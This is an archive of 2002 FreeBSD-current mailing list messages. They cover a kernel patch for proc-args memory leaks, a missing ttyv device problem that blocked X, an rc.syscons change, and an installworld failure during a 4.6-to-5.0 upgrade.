Setting the output parameters in the req->oldptr != NULL case is not a bug
(since SYSCTL_OUT() just advances the data pointer and higher level code
sets the count later).

The following patch seems to fix all the bugs that I noticed except minor
style bugs.  It was tested mainly with setproctitle() in a loop.

%%%
Index: kern_proc.c
===================================================================
RCS file: /home/ncvs/src/sys/kern/kern_proc.c,v
retrieving revision 1.136
diff -u -2 -r1.136 kern_proc.c
--- kern_proc.c	7 Jun 2002 05:41:27 -0000	1.136
+++ kern_proc.c	17 Jun 2002 13:15:39 -0000
@@ -998,6 +988,6 @@
 	int *name = (int*) arg1;
 	u_int namelen = arg2;
+	struct pargs *newpa, *pa;
 	struct proc *p;
-	struct pargs *pa;
 	int error = 0;

@@ -1022,29 +1012,22 @@
 	pargs_hold(pa);
 	PROC_UNLOCK(p);
-	if (req->oldptr && pa != NULL) {
+	if (req->oldptr != NULL && pa != NULL)
 		error = SYSCTL_OUT(req, pa->ar_args, pa->ar_length);
-	}
-	if (req->newptr == NULL) {
-		pargs_drop(pa);
-		return (error);
-	}
-
-	PROC_LOCK(p);
-	pa = p->p_args;
-	p->p_args = NULL;
-	PROC_UNLOCK(p);
 	pargs_drop(pa);
-
-	if (req->newlen + sizeof(struct pargs) > ps_arg_cache_limit)
+	if (error != 0 || req->newptr == NULL)
 		return (error);

-	pa = pargs_alloc(req->newlen);
-	error = SYSCTL_IN(req, pa->ar_args, req->newlen);
-	if (!error) {
+	if (req->newlen + sizeof(struct pargs) > ps_arg_cache_limit)
+		return (ENOMEM);
+	newpa = pargs_alloc(req->newlen);
+	error = SYSCTL_IN(req, newpa->ar_args, req->newlen);
+	if (error == 0) {
 		PROC_LOCK(p);
-		p->p_args = pa;
+		pa = p->p_args;
+		p->p_args = newpa;
 		PROC_UNLOCK(p);
+		pargs_drop(pa);
 	} else
-		pargs_free(pa);
+		pargs_free(newpa);
 	return (error);
 }
%%%

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  6:15:33 2002
Delivered-To: freebsd-current@freebsd.org
Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16])
	by hub.freebsd.org (Postfix) with ESMTP id 11C3237B400
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 06:15:29 -0700 (PDT)
Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102])
	by mailman.zeta.org.au (8.9.3/8.8.7) with ESMTP id XAA18916;
	Mon, 17 Jun 2002 23:15:18 +1000
Date: Mon, 17 Jun 2002 23:20:00 +1000 (EST)
From: Bruce Evans <bde@zeta.org.au>
X-X-Sender: bde@gamplex.bde.org
To: Julian Elischer <julian@elischer.org>
Cc: Peter Jeremy <peter.jeremy@alcatel.com.au>,
	<freebsd-current@FreeBSD.ORG>
Subject: Re: proc-args (M_PARGS) leakage
In-Reply-To: <Pine.BSF.4.21.0206170050590.11814-100000@InterJet.elischer.org>
Message-ID: <20020617231747.W434-100000@gamplex.bde.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

On Mon, 17 Jun 2002, Julian Elischer wrote:

> Bruce, if you've worked all this out, could you commit it?

My queue is rather long.  I wrote a patch and mailed it in a separate
reply to this thread.

Bruce


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  7:28:26 2002
Delivered-To: freebsd-current@freebsd.org
Received: from leviathan.inethouston.net (leviathan.inethouston.net [66.64.12.249])
	by hub.freebsd.org (Postfix) with ESMTP id A74FD37B40B
	for <current@freebsd.org>; Mon, 17 Jun 2002 07:28:23 -0700 (PDT)
Received: by leviathan.inethouston.net (Postfix, from userid 1001)
	id 5AD7B3198DF; Mon, 17 Jun 2002 09:28:25 -0500 (CDT)
Date: Mon, 17 Jun 2002 09:28:25 -0500
From: "David W. Chapman Jr." <dwcjr@inethouston.net>
To: current@freebsd.org
Subject: ipfilter module
Message-ID: <20020617142825.GA88804@leviathan.inethouston.net>
Reply-To: "David W. Chapman Jr." <dwcjr@inethouston.net>
Mail-Followup-To: current@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Operating-System: FreeBSD 4.5-STABLE i386
User-Agent: Mutt/1.5.1i
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Anyone see this while kldload ipl?

link_elf: symbol pfil_add_hook undefined

-- 
David W. Chapman Jr.
dwcjr@inethouston.net	Raintree Network Services, Inc. <www.inethouston.net>
dwcjr@freebsd.org	FreeBSD Committer <www.FreeBSD.org>

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  7:51:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from kathmandu.sun.com (kathmandu.sun.com [192.18.98.36])
	by hub.freebsd.org (Postfix) with ESMTP id 98E7537B436
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 07:51:39 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA11552;
	Mon, 17 Jun 2002 08:51:37 -0600 (MDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5HEpbO04806;
	Mon, 17 Jun 2002 17:51:37 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5HEpY32001636;
	Mon, 17 Jun 2002 17:51:34 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5HEpXte001633;
	Mon, 17 Jun 2002 17:51:33 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15629.63338.337354.426548@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 17:51:22 +0300
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
In-Reply-To: <15629.50880.965301.770071@gargle.gargle.HOWL>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

 > Dag-Erling Smorgrav writes:
 > 
 > Right, so how do you start X?  The supported method is to chane "off"
 > on the ttyv8 line to "on".  And is there any particular reason why you
 > disabled ttyv4-ttyv7?
 > 
Hi,

I just found what was wrong.  Devfs didn't create enough ttyv devices.
I only had v0-3 and when I removed getty from v3 X started to work.

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  8:40: 6 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id 781DD37B421
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 08:40:01 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 732435363; Mon, 17 Jun 2002 17:37:24 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Tomi.Vainio@Sun.COM
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
	<15629.63338.337354.426548@gargle.gargle.HOWL>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 17:37:24 +0200
In-Reply-To: <15629.63338.337354.426548@gargle.gargle.HOWL>
Message-ID: <xzpd6uplxvv.fsf@flood.ping.uio.no>
Lines: 9
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
> I just found what was wrong.  Devfs didn't create enough ttyv devices.
> I only had v0-3 and when I removed getty from v3 X started to work.

Are you sure devfs is running?

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  8:42:29 2002
Delivered-To: freebsd-current@freebsd.org
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by hub.freebsd.org (Postfix) with ESMTP id A879A37B442
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 08:42:24 -0700 (PDT)
Received: from sunfin.Finland.Sun.COM ([129.159.101.10])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA04298;
	Mon, 17 Jun 2002 09:41:53 -0600 (MDT)
Received: from ultrahot.Finland.Sun.COM (ultrahot [129.159.101.87])
	by sunfin.Finland.Sun.COM (8.10.2+Sun/8.10.2/ENSMAIL,v2.2) with ESMTP id g5HFdoO05782;
	Mon, 17 Jun 2002 18:39:51 +0300 (EEST)
Received: from ultrahot.Finland.Sun.COM (localhost [127.0.0.1])
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2) with ESMTP id g5HFdn32001679;
	Mon, 17 Jun 2002 18:39:49 +0300 (EEST)
Received: (from tomppa@localhost)
	by ultrahot.Finland.Sun.COM (8.12.2+Sun/8.12.2/Submit) id g5HFdnZV001676;
	Mon, 17 Jun 2002 18:39:49 +0300 (EEST)
From: Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15630.708.899749.243926@gargle.gargle.HOWL>
Date: Mon, 17 Jun 2002 18:39:48 +0300
To: Dag-Erling Smorgrav <des@ofug.org>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
In-Reply-To: <xzpd6uplxvv.fsf@flood.ping.uio.no>
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
	<15629.63338.337354.426548@gargle.gargle.HOWL>
	<xzpd6uplxvv.fsf@flood.ping.uio.no>
X-Mailer: VM 7.05 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid
Reply-To: Tomi.Vainio@Sun.COM
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Dag-Erling Smorgrav writes:
 > Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
 > > I just found what was wrong.  Devfs didn't create enough ttyv devices.
 > > I only had v0-3 and when I removed getty from v3 X started to work.
 > 
 > Are you sure devfs is running?
 > 
Is it default for current?  Atleast df shows it?
devfs                      1       1        0   100%    /dev

  Tomppa

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  8:50:42 2002
Delivered-To: freebsd-current@freebsd.org
Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31])
	by hub.freebsd.org (Postfix) with ESMTP id AAF3737B437
	for <freebsd-current@FreeBSD.ORG>; Mon, 17 Jun 2002 08:49:11 -0700 (PDT)
Received: by flood.ping.uio.no (Postfix, from userid 2602)
	id 192B95361; Mon, 17 Jun 2002 17:45:45 +0200 (CEST)
X-URL: http://www.ofug.org/~des/
X-Disclaimer: The views expressed in this message do not necessarily
  coincide with those of any organisation or company with
  which I am or have been affiliated.
To: Tomi.Vainio@Sun.COM
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Still can't use keyboard with X
References: <15628.50724.451116.188088@gargle.gargle.HOWL>
	<xzp8z5e2rjo.fsf@flood.ping.uio.no>
	<15629.44131.842990.57839@gargle.gargle.HOWL>
	<xzpu1o217lo.fsf@flood.ping.uio.no>
	<15629.50476.572952.135295@gargle.gargle.HOWL>
	<xzplm9e17am.fsf@flood.ping.uio.no>
	<15629.50880.965301.770071@gargle.gargle.HOWL>
	<15629.63338.337354.426548@gargle.gargle.HOWL>
	<xzpd6uplxvv.fsf@flood.ping.uio.no>
	<15630.708.899749.243926@gargle.gargle.HOWL>
From: Dag-Erling Smorgrav <des@ofug.org>
Date: 17 Jun 2002 17:45:44 +0200
In-Reply-To: <15630.708.899749.243926@gargle.gargle.HOWL>
Message-ID: <xzp8z5dlxhz.fsf@flood.ping.uio.no>
Lines: 61
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

Tomi Vainio - Sun Finland - <Tomi.Vainio@Sun.COM> writes:
> Is it default for current?  Atleast df shows it?
> devfs                      1       1        0   100%    /dev

Yes, but it's very weird that the nodes weren't created.  Here's what
I have:

root@des /home/des# ll /dev/ttyv*
crw-------  1 root  wheel   12,   0 Jun 17 17:30 /dev/ttyv0
crw-------  1 root  wheel   12,   1 Jun 17 17:30 /dev/ttyv1
crw-------  1 root  wheel   12,   2 Jun 17 17:30 /dev/ttyv2
crw-------  1 root  wheel   12,   3 Jun 17 17:30 /dev/ttyv3
crw-------  1 root  wheel   12,   4 Jun 17 17:30 /dev/ttyv4
crw-------  1 root  wheel   12,   5 Jun 17 17:30 /dev/ttyv5
crw-------  1 root  wheel   12,   6 Jun 17 17:30 /dev/ttyv6
crw-------  1 root  wheel   12,   7 Jun 17 17:30 /dev/ttyv7
crw-------  1 root  wheel   12,   8 Jun 17 17:30 /dev/ttyv8
crw-------  1 root  wheel   12,   9 Jun 17 17:30 /dev/ttyv9
crw-------  1 root  wheel   12,  10 Jun 17 17:30 /dev/ttyva
crw-------  1 root  wheel   12,  11 Jun 17 17:30 /dev/ttyvb
crw-------  1 root  wheel   12,  12 Jun 17 17:30 /dev/ttyvc
crw-------  1 root  wheel   12,  13 Jun 17 17:30 /dev/ttyvd
crw-------  1 root  wheel   12,  14 Jun 17 17:30 /dev/ttyve
crw-------  1 root  wheel   12,  15 Jun 17 17:30 /dev/ttyvf

...and I only use 0-7, plus 8 for X.  I see the same thing on other
-CURRENT systems:

des@ref5 ~% ll /dev/ttyv*
crw-------  1 root  wheel   12,   0 Jun  4 17:35 /dev/ttyv0
crw-------  1 root  wheel   12,   1 Jun  4 17:35 /dev/ttyv1
crw-------  1 root  wheel   12,   2 Jun  4 17:35 /dev/ttyv2
crw-------  1 root  wheel   12,   3 Jun  4 17:35 /dev/ttyv3
crw-------  1 root  wheel   12,   4 Jun  4 17:35 /dev/ttyv4
crw-------  1 root  wheel   12,   5 Jun  4 17:35 /dev/ttyv5
crw-------  1 root  wheel   12,   6 Jun  4 17:35 /dev/ttyv6
crw-------  1 root  wheel   12,   7 Jun  4 17:35 /dev/ttyv7
crw-------  1 root  wheel   12,   8 Jun  4 17:35 /dev/ttyv8
crw-------  1 root  wheel   12,   9 Jun  4 17:35 /dev/ttyv9
crw-------  1 root  wheel   12,  10 Jun  4 17:35 /dev/ttyva
crw-------  1 root  wheel   12,  11 Jun  4 17:35 /dev/ttyvb
crw-------  1 root  wheel   12,  12 Jun  4 17:35 /dev/ttyvc
crw-------  1 root  wheel   12,  13 Jun  4 17:35 /dev/ttyvd
crw-------  1 root  wheel   12,  14 Jun  4 17:35 /dev/ttyve
crw-------  1 root  wheel   12,  15 Jun  4 17:35 /dev/ttyvf
des@ref5 ~% grep ttyv /etc/ttys
ttyv0   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv1   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv2   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv3   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv4   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv5   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv6   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv7   "/usr/libexec/getty Pc"         cons25  on  secure
ttyv8   "/usr/X11R6/bin/xdm -nodaemon"  xterm   off secure

so I don't understand why you only had ttyv0-ttyv3.

DES
-- 
Dag-Erling Smorgrav - des@ofug.org

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17  8:56:41 2002
Delivered-To: freebsd-current@freebsd.org
Received: from axl.seasidesoftware.co.za (axl.seasidesoftware.co.za [196.31.7.201])
	by hub.freebsd.org (Postfix) with ESMTP
	id B09E437B40D; Mon, 17 Jun 2002 08:56:36 -0700 (PDT)
Received: from sheldonh (helo=axl.seasidesoftware.co.za)
	by axl.seasidesoftware.co.za with local-esmtp (Exim 3.36 #1)
	id 17Jyse-000GAD-00; Mon, 17 Jun 2002 17:57:24 +0200
From: Sheldon Hearn <sheldonh@starjuice.net>
To: Doug Barton <DougB@FreeBSD.org>
Cc: current@FreeBSD.org, dirkx@covalent.net
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0 
In-reply-to: Your message of "Sun, 16 Jun 2002 14:04:13 MST."
             <3D0CFD4D.ACCE9CB2@FreeBSD.org> 
Date: Mon, 17 Jun 2002 17:57:24 +0200
Message-ID: <62136.1024329444@axl.seasidesoftware.co.za>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG



On Sun, 16 Jun 2002 14:04:13 MST, Doug Barton wrote:

> 	Based on some suggestions by a user, I've added the following to the
> top of rc.syscons:
> 
> # Handle diskless boots, and other situations where syscons is not
> present
> #
> if [ ! -c "${kbddev}" ]; then
>         exit 0
> fi
> 
> As far as I can tell, this should be safe, but if anyone comes across
> wackiness, please let me know.

Since this script relies on /usr being mounted already, wouldn't ye olde
"kldstat -v | grep ' scterm-sc$'" provide a more faithful answer?

I'm not sure how much it actually matters, though.  A nonexistent
/dev/ttyv0 seems quite pathalogical to me.

Ciao,
Sheldon.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 10:35: 7 2002
Delivered-To: freebsd-current@freebsd.org
Received: from magnesium.net (toxic.magnesium.net [207.154.84.15])
	by hub.freebsd.org (Postfix) with SMTP id 1137837B409
	for <current@freebsd.org>; Mon, 17 Jun 2002 10:35:02 -0700 (PDT)
Received: (qmail 22344 invoked by uid 1001); 17 Jun 2002 17:35:01 -0000
Date: 17 Jun 2002 10:35:01 -0700
Date: Mon, 17 Jun 2002 10:35:01 -0700
From: Bill Swingle <unfurl@dub.net>
To: current@freebsd.org
Subject: installworld breakage?
Message-ID: <20020617173501.GA22234@dub.net>
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="TB36FDmn/VVEgNH/"
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Operating-System: FreeBSD toxic.magnesium.net 4.5-STABLE FreeBSD 4.5-STABLE 
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG


--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

I'm upgrading from -stable to -current for the first time in years.
Since no one else has reported this on the list I'm sure this is just
due to this being a 4.6->5.0 upgrade.=20

buildworld completed just fine but installworld fails here:

=3D=3D=3D> usr.bin/chpass
install -c -s -o root -g wheel -m 4555   chpass /usr/bin
install -c -o root -g wheel -m 444 chpass.1.gz  /usr/share/man/man1
/usr/share/man/man1/chfn.1.gz -> /usr/share/man/man1/chpass.1.gz
/usr/share/man/man1/chsh.1.gz -> /usr/share/man/man1/chpass.1.gz
/usr/share/man/man1/ypchpass.1.gz -> /usr/share/man/man1/chpass.1.gz
/usr/share/man/man1/ypchfn.1.gz -> /usr/share/man/man1/chpass.1.gz
/usr/share/man/man1/ypchsh.1.gz -> /usr/share/man/man1/chpass.1.gz
[ ! -e /usr/bin/chpass ] ||  chflags noschg /usr/bin/chpass || true
*** Signal 12

Stop in /local0/world/src.current/usr.bin/chpass.
*** Error code 1

Stop in /local0/world/src.current/usr.bin.
*** Error code 1

Stop in /local0/world/src.current.
*** Error code 1

Stop in /local0/world/src.current.
*** Error code 1

Stop in /local0/world/src.current.
*** Error code 1

Stop in /local0/world/src.current.

Am I missing some secret step that is required to go from 4.6->5.0?

-Bill


--=20
-=3D| Bill Swingle - <unfurl@(dub.net|freebsd.org)>
-=3D| Every message PGP signed
-=3D| Fingerprint: C1E3 49D1 EFC9 3EE0 EA6E  6414 5200 1C95 8E09 0223
-=3D| "Computers are useless. They can only give you answers" Pablo Picasso=
=20




--TB36FDmn/VVEgNH/
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (FreeBSD)
Comment: For info see http://www.gnupg.org

iD8DBQE9Dh3FUgAclY4JAiMRAsK7AJ0ZgvD+RjY+facFJb1EKKZ7NeifAwCgrWOM
Rzt2fhn3dBAM++qP/hbzHH0=
=bxui
-----END PGP SIGNATURE-----

--TB36FDmn/VVEgNH/--

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 10:45:51 2002
Delivered-To: freebsd-current@freebsd.org
Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129])
	by hub.freebsd.org (Postfix) with ESMTP id B5DFA37B425
	for <current@freebsd.org>; Mon, 17 Jun 2002 10:45:45 -0700 (PDT)
Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.17.194.24])
	by e31.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g5HHjgVw011970;
	Mon, 17 Jun 2002 13:45:42 -0400
Received: from calvin.in.ibm.com (calvin.in.ibm.com [9.182.24.126])
	by westrelay03.boulder.ibm.com (8.11.1m3/NCO/VER6.2) with ESMTP id g5HHjZ412094;
	Mon, 17 Jun 2002 11:45:36 -0600
Received: by calvin.in.ibm.com (Postfix, from userid 1001)
	id 3048F33F3; Mon, 17 Jun 2002 23:15:04 +0530 (IST)
Date: Mon, 17 Jun 2002 23:15:04 +0530
From: Sid Carter <sidcarter@symonds.net>
To: Bill Swingle <unfurl@dub.net>, current@freebsd.org
Subject: Re: installworld breakage?
Message-ID: <20020617174504.GA21044@calvin.in.ibm.com>
References: <20020617173501.GA22234@dub.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20020617173501.GA22234@dub.net>
User-Agent: Mutt/1.3.99i
X-Operating-System: FreeBSD calvin.in.ibm.com 5.0-CURRENT FreeBSD 5.0-CURRENT 
Organisation: Sid Carter Inc.
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
List-ID: <freebsd-current.FreeBSD.ORG>
List-Archive: <http://docs.freebsd.org/mail/> (Web Archive)
List-Help: <mailto:majordomo@FreeBSD.ORG?subject=help> (List Instructions)
List-Subscribe: <mailto:majordomo@FreeBSD.ORG?subject=subscribe%20freebsd-current>
List-Unsubscribe: <mailto:majordomo@FreeBSD.ORG?subject=unsubscribe%20freebsd-current>
X-Loop: FreeBSD.ORG

An Mon, Jun 17, 2002 at 10:35:01AM -0700, Bill Swingle schreib :
> I'm upgrading from -stable to -current for the first time in years.
> Since no one else has reported this on the list I'm sure this is just
> due to this being a 4.6->5.0 upgrade. 
> [ ! -e /usr/bin/chpass ] ||  chflags noschg /usr/bin/chpass || true
> *** Signal 12
Hi,

Please read /usr/src/UPDATING before you do so.

Whenever you upgrade from -stable to -current, you go.....
make buildworld
make kernel
Boot into single-user mode and then
mergemaster -p
make installworld
mergemaster

For more info,  /usr/src/UPDATING.

HTH
Regards
	Sid
-- 
I've known him as a man, as an adolescent and as a child -- sometimes
on the same day.

Sid Carter                             FreeBSD oder Debian GNU/Linux.

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Mon Jun 17 11:34:28 2002
Delivered-To: freebsd-current@freebsd.org
Received: from 12-234-90-219.client.attbi.com (12-234-90-219.client.attbi.com [12.234.90.219])
	by hub.freebsd.org (Postfix) with ESMTP id AE3C937B416
	for <current@FreeBSD.org>; Mon, 17 Jun 2002 11:34:23 -0700 (PDT)
Received: from master.gorean.org (master.gorean.org [10.0.0.2])
	by 12-234-90-219.client.attbi.com (8.12.3/8.12.3) with ESMTP id g5HIVmBu008933;
	Mon, 17 Jun 2002 11:31:48 -0700 (PDT)
	(envelope-from DougB@FreeBSD.org)
Received: from localhost (doug@localhost)
	by master.gorean.org (8.12.4/8.12.4/Submit) with ESMTP id g5HIVlI1003869;
	Mon, 17 Jun 2002 11:31:48 -0700 (PDT)
Date: Mon, 17 Jun 2002 11:31:47 -0700 (PDT)
From: Doug Barton <DougB@FreeBSD.org>
To: Sheldon Hearn <sheldonh@starjuice.net>
Cc: current@FreeBSD.org, <dirkx@covalent.net>
Subject: Re: mini-Head's up: rc.syscons now test for /dev/ttyv0 
